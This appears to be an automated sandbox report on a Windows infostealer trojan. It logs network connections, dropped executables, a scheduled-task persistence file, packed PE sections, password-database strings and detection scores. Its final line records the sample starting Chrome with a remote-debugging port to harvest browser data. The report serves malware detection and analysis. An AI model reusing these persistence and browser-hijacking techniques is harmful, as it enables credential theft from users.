Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50134 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name:
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: 029a46b374.exe.26.dr	Static PE information: section name:
Source: 029a46b374.exe.26.dr	Static PE information: section name: .rsrc
Source: 029a46b374.exe.26.dr	Static PE information: section name: .idata
Source: 029a46b374.exe.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: 43f0b859c6.exe.26.dr	Static PE information: section name:
Source: 43f0b859c6.exe.26.dr	Static PE information: section name: .idata
Source: 43f0b859c6.exe.26.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB2B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CB2B700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB2B8C0 rand_s,NtQueryVirtualMemory,	1_2_6CB2B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB2B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6CB2B910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CACF280

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC35A0	1_2_6CAC35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB234A0	1_2_6CB234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB2C4A0	1_2_6CB2C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD6C80	1_2_6CAD6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB06CF0	1_2_6CB06CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACD4E0	1_2_6CACD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD64C0	1_2_6CAD64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAED4D0	1_2_6CAED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3542B	1_2_6CB3542B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB05C10	1_2_6CB05C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB12C10	1_2_6CB12C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3AC00	1_2_6CB3AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD5440	1_2_6CAD5440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3545C	1_2_6CB3545C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB285F0	1_2_6CB285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB00DD0	1_2_6CB00DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADFD00	1_2_6CADFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF0512	1_2_6CAF0512
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEED10	1_2_6CAEED10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB24EA0	1_2_6CB24EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB2E680	1_2_6CB2E680
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE5E90	1_2_6CAE5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB376E3	1_2_6CB376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACBEF0	1_2_6CACBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADFEF0	1_2_6CADFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB29E30	1_2_6CB29E30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB07E10	1_2_6CB07E10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB15600	1_2_6CB15600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB36E63	1_2_6CB36E63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACC670	1_2_6CACC670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB03E50	1_2_6CB03E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE4640	1_2_6CAE4640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE9E50	1_2_6CAE9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB12E4E	1_2_6CB12E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB177A0	1_2_6CB177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACDFE0	1_2_6CACDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF6FF0	1_2_6CAF6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB07710	1_2_6CB07710
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD9F00	1_2_6CAD9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF60A0	1_2_6CAF60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEC0E0	1_2_6CAEC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB058E0	1_2_6CB058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB350C7	1_2_6CB350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0B820	1_2_6CB0B820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB14820	1_2_6CB14820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD7810	1_2_6CAD7810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0F070	1_2_6CB0F070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE8850	1_2_6CAE8850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAED850	1_2_6CAED850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACC9A0	1_2_6CACC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFD9B0	1_2_6CAFD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB05190	1_2_6CB05190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB22990	1_2_6CB22990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB1B970	1_2_6CB1B970
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3B170	1_2_6CB3B170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADD960	1_2_6CADD960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAEA940	1_2_6CAEA940
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB32AB0	1_2_6CB32AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC22A0	1_2_6CAC22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAF4AA0	1_2_6CAF4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADCAB0	1_2_6CADCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3BA90	1_2_6CB3BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0E2F0	1_2_6CB0E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE1AF0	1_2_6CAE1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB08AC0	1_2_6CB08AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB09A60	1_2_6CB09A60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CACF380	1_2_6CACF380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB353C8	1_2_6CB353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0D320	1_2_6CB0D320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADC370	1_2_6CADC370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAC5340	1_2_6CAC5340
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00567049	22_2_00567049
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00568860	22_2_00568860
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_005678BB	22_2_005678BB
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_005631A8	22_2_005631A8
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00637B6E	22_2_00637B6E
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00524B30	22_2_00524B30
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00562D10	22_2_00562D10
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00524DE0	22_2_00524DE0
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00557F36	22_2_00557F36
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_0056779B	22_2_0056779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008178BB	23_2_008178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00817049	23_2_00817049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00818860	23_2_00818860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_008131A8	23_2_008131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007D4B30	23_2_007D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00812D10	23_2_00812D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007D4DE0	23_2_007D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0081779B	23_2_0081779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00807F36	23_2_00807F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_008178BB	24_2_008178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00817049	24_2_00817049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00818860	24_2_00818860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_008131A8	24_2_008131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007D4B30	24_2_007D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00812D10	24_2_00812D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007D4DE0	24_2_007D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_0081779B	24_2_0081779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00807F36	24_2_00807F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007E80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007EDF80 appears 36 times
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: String function: 005380C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAFCBE8 appears 134 times

Source: file.exe, 00000001.00000002.2666532282.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000001.00000002.2666532282.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.2673077323.000000006CD45000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: pptkhitg ZLIB complexity 0.9946132315642036
Source: random[1].exe.26.dr	Static PE information: Section: ZLIB complexity 0.9982384790348101
Source: random[1].exe.26.dr	Static PE information: Section: iqhxooog ZLIB complexity 0.995316132664923
Source: 029a46b374.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9982384790348101
Source: 029a46b374.exe.26.dr	Static PE information: Section: iqhxooog ZLIB complexity 0.995316132664923
Source: random[1].exe0.26.dr	Static PE information: Section: pptkhitg ZLIB complexity 0.9946132315642036
Source: 43f0b859c6.exe.26.dr	Static PE information: Section: pptkhitg ZLIB complexity 0.9946132315642036

Source: 029a46b374.exe.26.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.26.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@86/306@35/27

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB27030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6CB27030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\VGGEY2DT.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8848:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\5750f7de-aa60-445a-976f-d3379c516760.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000003.2467333269.000000001D84D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2378776412.000000001D859000.00000004.00000020.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3464844961.0000000005570000.00000004.00000800.00020000.00000000.sdmp, 029a46b374.exe, 0000001B.00000003.3448727170.0000000005576000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000001.00000002.2663772590.000000001D95E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2670741411.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 47%
Source: file.exe	Virustotal: Detection: 53%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
